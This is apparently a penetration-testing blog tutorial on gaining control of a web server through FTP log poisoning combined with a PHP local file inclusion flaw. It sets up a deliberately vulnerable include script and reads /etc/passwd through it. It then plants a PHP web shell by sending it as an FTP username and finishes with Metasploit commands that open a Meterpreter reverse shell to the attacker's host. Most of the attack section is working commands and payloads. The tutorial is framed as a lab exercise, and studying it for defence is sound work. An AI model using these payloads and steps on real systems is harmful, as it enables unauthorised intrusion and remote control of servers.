Sponsored
Others

FTP Log Poisoning Through LFI

In this article, you will learn how to take access in any web server through ftp log poisoning if it is suffering from local file inclusion vulnerability.

What is PHP File Inclusion ?

With the help of include function you can include the content of php into another php file before server execute it. There are two important PHP functions.

  • The include() Function
  • The require() Function

What is Local File Inclusion ?

local File Inclusion vulnerability allows an attacker to upload his malicious script on the web server to be execute locally .
If the file inclusion vulnerability is found in the web server so you can perform the following attacks.

  • Remote Code Execution (RCE)
  • Cross-site Scripting (XSS)
  • Denial of Service (DOS)

Requirements :
Kali Linux – Attacker

Lets Start !!

First, You should have to configured apache server on your kali machine and After then create a directory by using following command.

mkdir /var/www/html/lfi

Now, we have to go on that directory by using following commands for create a php file.

cd /var/www/html/lfi/
touch lfi.php
nano lfi.php

Open the lfi.php file in your favorite text editor and paste the code which is given below.

<?php
   $file = $_GET['file'];
   if(isset($file))
   {
       include("$file");
   }
   else
   {
       include("index.php");
   }
   ?>

Purposes :
This file allow an user to include a file on web server through a file parameter.

localhost/lfi/lfi.php?file=/etc/passwd

Great ! You can observe when we execute the given url on browser it provide users and accounts details of the web server that means the target web server is effected by local file inclusion vulnerability.

We already have installed ftp server on our kali machine you can see by below given image.

Now, we need to give read and write permission to log file.

chmod -R 775 /var/log/vsftpd.log

After give the permission you can access vsftpd.log file on your browser.

localhost/lfi/lfi.php?file=/var/log/vsftpd.log

The vsftpd.conf file generates a log for every success and failed login attempt. Now, we try to connect to ftp port with using malicious php code as name which will help to create a fake logs on vsftpd.log file.

ftp 192.168.0.103 (remote ip)
'<?php system($_GET['c']); ?>'

When you will check log file by using these command So you will find the malicious php code has been added a new log.

tail -f vsftpd.log

Now, we have command prompt of web server so we can execute any command such as :

ls - list
pwd - present working directory
netstat -tnl

If you want to get full control on web server so can use metasploit framework to exploit the web server.

msfconsole
use exploit/multi/handler
use exploit/multi/script/web_delivery
set target 1
set payload php/meterpreter/reverse_tcp
set uripath /
set srvhost 192.168.0.103
set lhost 192.168.0.103
run

Copy the highlighted text and paste on browser as shown given below.

After execute it, you will get meterpreter of the web server.

About the Author
Shubham Goyal Certified Ethical Hacker, information security analyst, penetration tester and researcher.

Sponsored

Recent Posts

Termux Cheat Sheet for Hackers

Hey Folks :) !! In this article, we present the "Termux Cheat Sheet for Hackers"…

1 month ago

Cracking the X-Factor in Cybersecurity: How Humans are Protecting the Systems?

Amid the rapid advancement of technology, the significance of human involvement in cybersecurity frequently goes…

8 months ago

Cariddi – Hidden Endpoint Finder for Bug Hunting

Hey Folks, we are back today after such a long break, but don't worry we…

2 years ago

API Security Testing 101: Know Everything About API Security Testing!

The security of your API should be one of the top priorities of companies. Without…

2 years ago

7 Best Tools for Web Penetration Testing: Comprehensive Details

Hey Folks, In today's business world, it is essential to have an online presence. However,…

2 years ago

Cyber Security Audits: Everything You Need to Know About It

Hey Folks, Is your business prepared in case of a cyber attack? Many companies don't…

2 years ago
Sponsored

This website uses cookies.